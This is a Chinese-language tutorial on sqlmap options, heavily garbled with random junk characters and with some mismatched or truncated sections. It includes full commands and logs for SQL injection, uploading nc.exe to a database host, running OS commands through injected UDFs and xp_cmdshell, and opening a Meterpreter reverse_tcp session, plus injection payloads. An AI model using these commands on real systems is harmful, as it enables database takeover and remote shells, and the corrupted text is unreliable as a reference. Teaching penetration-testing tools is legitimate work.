2 G, `3 |. L6 o) l此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。' b) C6 C8 P5 B: I% }7 U, C+ Q, S
请求' P f; H+ F+ E) H
http数据& m5 ^9 Y7 U6 i, [1 ?% b
{: V$ X [$ M- k" c1 f
参数:--data3 Y Q1 o+ `' R1 c; s6 k! {4 p
: m) t7 K4 I; f8 T4 I此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。 7 }( x c3 u, L2 ^7 @7 R- V 9 n( \/ w! s+ d% Q* O' h$ R例子:# G. z7 r+ p" L1 @' m
) U0 ~8 J( u( u9 X
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users / K- n% |1 f! c8 C2 y3 P1 m1 P6 h: [- u x
参数拆分字符! |8 O `8 c# f1 H8 O
0 Q& Z' |/ v m6 Y& q0 i$ v! a
参数:--param-del 3 p7 `2 R& d' U9 ~. I5 e; P- @' C$ j$ \ 2 ^9 ^& v }& l: ?当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。6 I* a0 {1 I5 j. \" M, @ u
5 D8 x# T0 ?/ o当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 1 J% T2 O: q& l' j V4 M# j7 l$ a: c, ~/ S3 f列举一个MySQL的例子: 8 i; v$ q. r$ ?; O' l0 V" ~! T1 i3 }. m v5 a* o- w
$ file /software/nc.exe.packed ' V G' p5 o" t! v+ }7 F! e/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit 6 d* g& U! `/ ], o " s; s& O2 z2 Y. o' ^6 d* A$ ls -l /software/nc.exe.packed " C1 e/ B, i% V) m. Y* L-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed# B8 @8 k& @- F& ~3 f
$ D5 G2 e* J$ l: L$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \* _" j4 `* d/ @, ?9 n7 Q8 H$ U9 d
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 ; _' H8 G ~; F5 }: X9 F0 A% q, R3 A. O6 C
[...]3 H1 ? m: {! w- a* k' H0 I! I
[hh:mm:29] [INFO] the back-end DBMS is MySQL) V1 f% d/ E. c- x9 H" f1 i7 T
web server operating system: Windows 2003 or 2008 ! W' _: \8 w! W" h2 {web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.507272 `& l) y% ?, d8 B! p
back-end DBMS: MySQL >= 5.0.0: i; p3 c( j, x; C8 ?6 d
' A4 X! _9 s5 y. @8 f" q[...]' H0 M' K( a; A, ~0 N
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully & I2 K' B+ ^ e0 c% ?7 I
written on the back-end DBMS file system? [Y/n] y 6 r+ u+ C0 M* Z[hh:mm:52] [INFO] retrieved: 31744) N+ l6 P7 J4 T1 L9 j$ p
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 4 `. f7 a& g9 b' ^2 `- vsame size as the local file '/software/nc.exe.packed': e* ]8 X* t f& V6 a" f
4 J d$ b( t/ m$ ~1 h2 x, f运行任意操作系统命令' D! e) y/ q6 X+ Y
0 G# q! e7 A% A( |4 A1 R
参数:--os-cmd,--os-shell 2 Z1 T, |* r; L' `9 k1 P2 f w- K6 `& G" k& f# c当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。* g& y& t9 l7 Y! h% q$ L E* m
* |8 D! x$ m A @; k* }* N: k/ ?
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。 ) q) t+ C- s% j' X1 q3 L0 ]1 `! V6 M; p% X. n7 y2 d
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。 0 r/ n, ~% z1 t# X. `$ s7 @3 S" T- w
列举一个PostgreSQL的例子: 6 Q- P+ j M+ U1 z" |8 i2 g' r1 c8 _0 O$ n! [% `1 y7 j
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ 9 T6 |7 f/ [0 E0 R5 f--os-cmd id -v 14 p6 y$ k, ~( T# V8 d
3 |; p" g4 @. `[...] ) m7 ]& j2 l; U* dweb application technology: PHP 5.2.6, Apache 2.2.9 & R# }. l) Z; {' jback-end DBMS: PostgreSQL / h+ F* Z4 o/ ?" Q" f( s7 w4 k0 y[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system ! o8 N* {' W% C6 B8 F2 m6 N0 A[hh:mm:12] [INFO] the back-end DBMS operating system is Linux ) {0 D5 S; i! x* c[hh:mm:12] [INFO] testing if current user is DBA) f- g" A8 \" A* b9 {
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner : h; d& K! C1 h/ r" s6 E[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist 2 M8 T R! v# \3 j) K- _2 D' `4 u[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist - d3 w. G2 k5 T0 [[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file # p* I' R9 G. l9 Z[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file0 o! Z, u9 U' l. I9 `7 v# b4 J
do you want to retrieve the command standard output? [Y/n/a] y , z6 C5 }7 f" g8 q; e0 `command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' 6 a3 v% ^' p1 ~3 I' R! h ' s1 e+ g3 Z5 G6 `+ @ O6 h4 [/ q3 P[hh:mm:19] [INFO] cleaning up the database management system . s# I$ L5 w6 m d2 Q8 {do you want to remove UDF 'sys_eval'? [Y/n] y+ [, P" R6 `/ T/ \# z+ b1 G
do you want to remove UDF 'sys_exec'? [Y/n] y# M: h- c' q" K5 Z6 p( y1 U9 o
[hh:mm:23] [INFO] database management system cleanup finished , Q) \ j" \! }% K8 E: B D/ X$ X[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can . O) K- G) U, X1 [# c) | t* _only be deleted manually . X1 U+ [* [* k ' b$ v* H8 H! {5 \8 I# C- M: S用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。1 k' K# f$ G4 d
, ^$ ~! Q; w' m1 h/ v; B8 W
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:/ u, ?5 [7 N1 I
0 x. y) U5 q" e$ | z, W
1、ASP! |& ?4 t0 w/ L2 p5 w
2、ASP.NET & K5 E R" o* F+ j; G9 X3、JSP 8 d* c; l6 w$ W+ d, n7 D0 k1 O4、PHP - ?# Q1 t+ j! Q6 s ' z( e" P1 R* t9 ] r. ~: kMeterpreter配合使用 ; N: z$ {4 ?2 w- }1 F4 a 1 J+ P, X6 o8 V2 K {! E参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path! Z; P: i1 o5 Y4 D4 ?4 ~! k- o# q$ \1 \
; |8 E6 M K& w; I6 l1 K, ^
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它: / p) Q# T+ ` y/ @ 4 v8 w& ` \' ]1 e) B! I1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。1 X% s( b; l5 T
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。1 R" y# |* Y" Q0 P2 y3 |; Z
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。+ @9 g) G: U$ O% z/ ]8 E! o
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof3 V( k: C5 F! F6 E
$ ^* y( c; U! L1 A/ D' e
列举一个MySQL例子: 3 ?* g9 I1 c O3 f8 }9 g 9 L' q$ {" J) d0 J# ^+ h$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit . y* H* X- y0 ?2 F# {6 K/ I3 p; h( [5 k; y
[...] 2 U& g5 v, p8 F6 c `" W! m[hh:mm:31] [INFO] the back-end DBMS is MySQL) u" ^: S( t) x
web server operating system: Windows 2003 : K. W8 ]1 C: W; rweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 : ~. v. S9 a$ }4 Q$ I$ f0 i5 xback-end DBMS: MySQL 5.0 7 ]0 d: w7 |/ T[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system d! ]: M. [ B- J
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows6 U- r5 j. a3 U4 P
how do you want to establish the tunnel? , l; ~3 j8 p' v1 K- H[1] TCP: Metasploit Framework (default) # b4 s3 |& s5 t+ E( z' g4 k# @[2] ICMP: icmpsh - ICMP tunneling 4 y* J! \! i% e> $ h: Y& O8 C1 f1 p0 g
[hh:mm:32] [INFO] testing if current user is DBA2 g0 W" O+ G( B1 r" F+ V4 C7 U
[hh:mm:32] [INFO] fetching current user & X# r8 U$ ?6 X# L+ m. b2 rwhat is the back-end database management system architecture?" ^# m# f- B( w4 ?; n
[1] 32-bit (default) . m2 M( L5 S, ~[2] 64-bit 9 G/ s* T5 F! j8 H- Y: J0 {$ V> % H9 v, s0 }. ] s; l
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist7 V. L0 V& S+ y4 a6 X' k7 o
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist 6 k7 r$ f0 z% B" r7 D/ c: u! i[hh:mm:33] [INFO] detecting back-end DBMS version from its banner & n* H# O2 }' E8 B: }' l2 D[hh:mm:33] [INFO] retrieving MySQL base directory absolute path 5 ]) [) S& ~: U9 V, l[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file + K' @7 s' Z- p/ ^% s* z[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file ( X& q4 ^) g" c# m m" U8 h& ?( ~how do you want to execute the Metasploit shellcode on the back-end database underlying 6 c% `1 ]0 m: D1 z) [+ a4 T$ J
operating system?4 Y! j; c. I$ P# w3 t* E
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)! ]+ i! P) | l! A+ H4 ~* [
[2] Stand-alone payload stager (file system way) 9 s. Q5 U: i+ a0 m6 s/ d> 1 S# d2 V2 J K1 |% i# D, m[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 3 e4 T% N5 Z p$ L0 v! M
which connection type do you want to use?" V' O$ I3 q6 f
[1] Reverse TCP: Connect back from the database host to this machine (default)) ]4 J M8 I# X" r+ E1 ]7 K
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 6 N( `* `( u* a7 X! Y+ d& o
between the specified and 655359 e% Z# S, \9 a% b) K; h% _2 K
[3] Bind TCP: Listen on the database host for a connection + L/ u% e6 T5 n0 G3 b) {7 l# X> ' y6 l9 Z. I. H2 \
which is the local address? [192.168.136.1] 4 J7 i& \# V" f
which local port number do you want to use? [60641] " c( P" {. y, b3 gwhich payload do you want to use?9 g1 `7 Z7 l. |3 `; Y d8 Q
[1] Meterpreter (default)$ U5 p8 ~- Q6 Q7 H. x0 K
[2] Shell ( J# X3 V, Z1 J' l( d[3] VNC9 y ]; b0 I! D4 E8 K
> / \/ J C- ^: U1 _) u3 w[hh:mm:40] [INFO] creation in progress ... done 1 m, q2 q3 e- L7 V[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. 8 c; k0 U3 `. }0 Y3 \! X. s9 `( h4 n1 }" f# B# r6 b' a
_, ]4 L" m0 b; d e6 V
| | o - c5 Q- s9 T7 S! M$ j5 l/ `_ _ _ _ _|_ __, , _ | | __ _|_ 8 L$ y2 y+ F$ \& F1 X/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |/ E4 K8 S) s+ i% \; f) @* i
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ " l, M3 z( I# I5 z. L* m k4 t /| : v" f6 g" a8 B L$ E6 Z2 Z+ B) v" j \|1 M& l! D$ B# X" y, O D4 q( U+ G& M/ X
/ t' o) @+ t9 D! H
3 C# [5 I+ P* x- e
=[ metasploit v3.7.0-dev [core:3.7 api:1.0] , K& `- c1 g- ?+ B+ -- --=[ 674 exploits - 351 auxiliary / @6 o7 t% i# k+ A% b4 V+ -- --=[ 217 payloads - 27 encoders - 8 nops 1 K$ `7 Y7 t+ l. T5 s1 S6 G3 C =[ svn r12272 updated 4 days ago (2011.04.07) : _5 U) k6 `0 c1 q2 h: {& ] e6 M1 A, H a
PAYLOAD => windows/meterpreter/reverse_tcp, i+ p) V& I- I; u' ]9 }
EXITFUNC => thread 3 {7 b3 }: m, N/ [2 uLPORT => 60641# k1 {1 S, J* P
LHOST => 192.168.136.1
) s- @' E$ Y- F针对PostgreSQL例子: * x9 I- B s! i7 K6 k2 @4 F; H' o) ~; c& E; U
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors1 z% _. Y5 @6 `$ ]0 u: j4 }% l/ r
* ~5 Q# {0 k; Y9 y, I
[...]$ ]2 I6 |% J, Y6 o
[xx:xx:14] [INFO] fetching banner1 q, B3 J' V- _3 {8 i9 E: M
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 7 D- T' j+ S+ g8 Z[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' 2 G! g0 r; ]* v4 D6 S V0 `[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by! A1 w1 h1 q8 k% O# b4 T
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2) }! z( n9 v- e S
[...]. U. k& a+ n$ I! i& e
/ m( y. q5 L3 D( O
自定义输出的路径 * T; g$ D$ @: t" {: [ 5 `" C! a* x6 J4 Q$ C参数:--output-dir, E/ i" E f! Z" y- \9 }
! q# L/ x1 ?9 n8 y8 o2 h _! k- u
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp 5 I& T+ l$ M _3 _. d从响应中获取DBMS的错误信息) E6 n& T9 J% D/ h/ c
9 k0 L, `4 `: k% g3 |
参数:--parse-errors2 t; j. o( U; K8 Q' g" ]/ f
3 l8 [. W$ j) z& Z( w
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 : w* x. Y" K/ Y# c# n3 q: ~% B! r l6 q: h
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors * c" Z* o: D( N- h1 j: }[...] 6 f! U' [ u; \) v) t: n+ l; O3 w$ d[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test& g$ e- k9 j# t4 S1 ^3 ^! S8 ^
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 6 a/ X0 Z: Y/ O: t2 u8 V, O/ K% y[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.7 `2 R- l4 n9 t" W0 d$ I, ^
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 0 g7 F- X3 A1 z[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14), u K3 J# \+ d( I' }5 [( @$ e
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. 5 _% u) q) J. S7 V: D<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' , [( N) |+ |. E) m+ B[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)8 c6 j1 k" S! y+ `. E' U
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.7 ?" C, Z+ Q& _" O' h8 V* O4 d
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'. r$ c" I2 ?; g+ Y
[11:12:17] [INFO] target URL appears to have 3 columns in query$ d0 @# u+ W0 V, m, I0 u
[...] ! M6 D- f# L& C( K: g8 i. q: {. D7 X2 R1 E8 j$ R V
其他的一些参数& p Z% X5 g6 x9 w! Y* r
使用参数缩写 0 d0 \) F; d0 }6 @, R' }5 J% b! t% U' R \! o3 u
参数:-z7 T% {- R+ M) `! X
* |- _1 O4 m7 i7 \
有使用参数太长太复杂,可以使用缩写模式。 例如: * P! q' X( U q* m8 z0 T : B- ^( H$ r0 q4 l+ w9 Qpython sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" * `# m$ t4 ^ F/ x4 `: L) i8 k( F1 G * t5 ]: e9 Q3 g4 ~1 N8 e可以写成:0 a3 ?/ S# a w: h* z0 h$ Z
# s8 p; B* Z! Y& y u# P参数:--smart / k8 S8 g4 Q% t" \8 y! O- T f0 k# c
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 ; Q& `; q; Q3 P* D; |0 m* I4 @8 b, W- @/ k5 ]
例子:0 g3 o5 o- |! r9 ]
& T% ~5 e6 P& n6 u
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart/ z" N) Q9 {2 Y D$ p1 T
[...] - J3 i6 D) x- V5 ~+ W[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic M1 w6 Q; P. ]$ y( d) b( F[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic ! U" O% \2 a N! |! Q[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable& y2 g3 m; Y; k0 |2 p( ?/ v
[xx:xx:14] [INFO] skipping GET parameter 'ca' 8 R/ x' N1 R' ^2 ~[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic! \4 |/ r# j/ r% y, ^5 n) g
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic 1 X% F7 T; D0 i[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable 3 B( W) a1 l1 F, ^[xx:xx:14] [INFO] skipping GET parameter 'user'$ M- a, l* C1 E. i/ c- ]
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic 1 l) _2 `# T1 C- c7 T% X[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic 4 f7 Q9 X0 y! b# ~) M. C[xx:xx:14] [INFO] GET parameter 'id' is dynamic! A5 \2 ^8 P$ ?
[xx:xx:14] [WARNING] reflective value(s) found and filtering out * w/ e2 f* l% q3 h, H7 n r[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 8 G3 s, R. X, ~! \0 a- I[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' # H- W) D" ?& N5 `heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y# `! E$ B" Z. D$ C
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y# g+ d5 X$ c Y) h* v# u2 ~
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 2 d! r F e# L3 n& H[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable : x1 }( W5 i7 [: `! q T" ?[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'" j# g6 l7 @0 S+ @% d: B1 U- `7 A& W
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable ; ^3 w1 y+ g* u: A0 q- L[xx:xx:14] [INFO] testing 'MySQL inline queries', Y. D( T! h: B: d
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'( N& k2 z9 B& v1 v X, v
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' % |( L0 I( G3 O, D' _5 M+ [[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' " k) d' U* M8 i2 x2 j[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable ' F% i6 \* H% n1 L; l" o[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' G0 ?% B d. y) e0 E0 }. ^[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found9 _ l& E J5 @* x; j6 P
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test) M5 q- p" C7 p9 z$ p K( Y% ^
[xx:xx:24] [INFO] target URL appears to have 3 columns in query 4 r1 i( O# D a$ w7 Q. `. Y[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable" u. o9 X4 h- Q# G! P2 c
[...] & x6 h7 g; H8 P m% r) o+ Y1 B' p
初级用户向导参数+ O9 | ~+ {$ H4 {' F T
* |0 A) }1 g- s1 h ~1 ?4 I/ [参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。' u+ ~+ m/ \& O; q% M
1 _( t5 b* M9 X. K; J
$ python sqlmap.py --wizard( D! @# B4 j2 W. ^+ s
! N, Q: I& R& K, i% P sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool ( E2 m; j. `0 ^7 D5 V9 y3 V4 E+ x( h& j5 ?% U; \3 I+ R& V
http://sqlmap.org- L Y8 r+ ]4 i& b; [0 b! R. V
! {" O; i; A! E: d" U[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program+ z% B3 n ^! f5 G$ L( N
starting at 11:25:26 2 V- `; c! m0 S* s T9 u6 w- G& D& T4 o B$ k) `/ J+ f* b q+ u
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=17 u' n3 v& O( Q5 W. r- n5 f0 J/ u: y
POST data (--data) [Enter for None]: 4 a! C% I& ~2 j4 [7 bInjection difficulty (--level/--risk). Please choose:1 m* h/ H: c3 u1 {
[1] Normal (default)2 |9 i' S4 q' U, _( J) U
[2] Medium- b8 V% |* x; J; ^7 S! o9 K
[3] Hard' f4 w0 P. m: s) v: a9 f2 I
> 18 ^4 u, _- g9 \; |2 z& V) n
Enumeration (--banner/--current-user/etc). Please choose: - ]7 I. C& x, {5 k: e7 T- d[1] Basic (default)+ u. @/ d! U) D1 `) ^6 b" E
[2] Smart% ?; W. c5 s4 w' C) p
[3] All" r9 r1 v2 f! h: k$ E& H, [, p
> 11 a4 W/ f3 |. N" n2 l+ \# v/ h
; s* R9 R) f' d! J! @: O) A. Z
sqlmap is running, please wait.. & l8 ~( A0 a/ A" f3 {+ S# N( C8 j( g& N1 L
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y4 M# R, I. q! S6 [3 n2 ^ S4 m6 m+ b
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y ( d7 |0 ?! I2 w7 WGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N, L: K n0 z9 S3 H H8 z. B
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: 9 Z5 D/ a$ Q8 N0 r% f* S" k---$ A/ u; `' v5 x* |/ P6 N
Place: GET 1 N4 B0 Y4 V2 pParameter: id # p; k: I) I. B: R7 L5 w# s Type: boolean-based blind " V. h; ` D3 m3 l Title: AND boolean-based blind - WHERE or HAVING clause & ] d) I" F: g* O Payload: id=1 AND 2986=2986 % d5 ~' ]# K2 ~) S' D) s/ D! u( F# x5 E8 Q6 M
Type: error-based" N- E" |, w) M# ?( q
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause5 G% g& f: Q6 f" {4 @; U) G
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) - L. q5 l# ?% F6 W$ v9 e" E; @4 [8 {6 v6 ~0 b9 w- }
Type: UNION query # d$ s( v) V. r( [* p5 { Title: Generic UNION query (NULL) - 3 columns* Z% L+ G( d6 i$ A/ y6 Q' `. Y3 ^2 s
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- . J& E2 z8 y2 n6 E0 a2 \, A $ r% ?9 X" U: `, u+ V" @- W Type: stacked queries 8 m5 w; R8 G( K5 |0 T" a Title: Microsoft SQL Server/Sybase stacked queries( B% W5 C8 I! q- j* w* w
Payload: id=1; WAITFOR DELAY '0:0:5'--! n$ d! j0 F5 c( Y1 q
$ `/ r) N0 H: O6 ?& ~! z% @ Type: AND/OR time-based blind; Z% K% l% ~! _, A* ?6 R, {3 u
Title: Microsoft SQL Server/Sybase time-based blind ; a% s! ~( N. U- U; Y Payload: id=1 WAITFOR DELAY '0:0:5'-- # a. r1 Y7 v0 E+ z 3 @% D& |2 x8 W* m5 h5 r Type: inline query - t8 w4 ?" Q) D+ c) a Title: Microsoft SQL Server/Sybase inline queries 9 a# j5 Q6 [+ R Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) ' n" r7 h9 I3 c0 d% a$ [' _--- / {% Z% V7 {% f r5 d6 j3 N& R" i3 Zweb server operating system: Windows XP 6 N* J8 r* p! l4 {5 K) t2 Uweb application technology: ASP, Microsoft IIS 5.1 9 I1 b, d* q+ F6 K4 |+ Uback-end DBMS operating system: Windows XP Service Pack 2& f' r1 C9 F6 l) m0 V7 R+ V
back-end DBMS: Microsoft SQL Server 2005 * ]( E* p W: F- D8 Xbanner: ( E6 _) [2 }' a* z1 ]/ F+ h---. T' Q" [! K V7 Y. k6 Z) g: B
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) / h, m/ Y. [! r% w2 S. L$ n
Oct 14 2005 00:33:37 9 i3 c0 h/ L( o" `+ H! W6 A: c
Copyright (c) 1988-2005 Microsoft Corporation# s! M. x8 a# c% h
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) 0 c1 K% F0 Q$ v- x% l---5 A2 ^1 Z. W7 C: U: b
current user: 'sa' 5 R; S+ _# w! `4 @, D* d' L/ X/ Qcurrent database: 'testdb' p- ]& U6 g X/ X, S
current user is DBA: True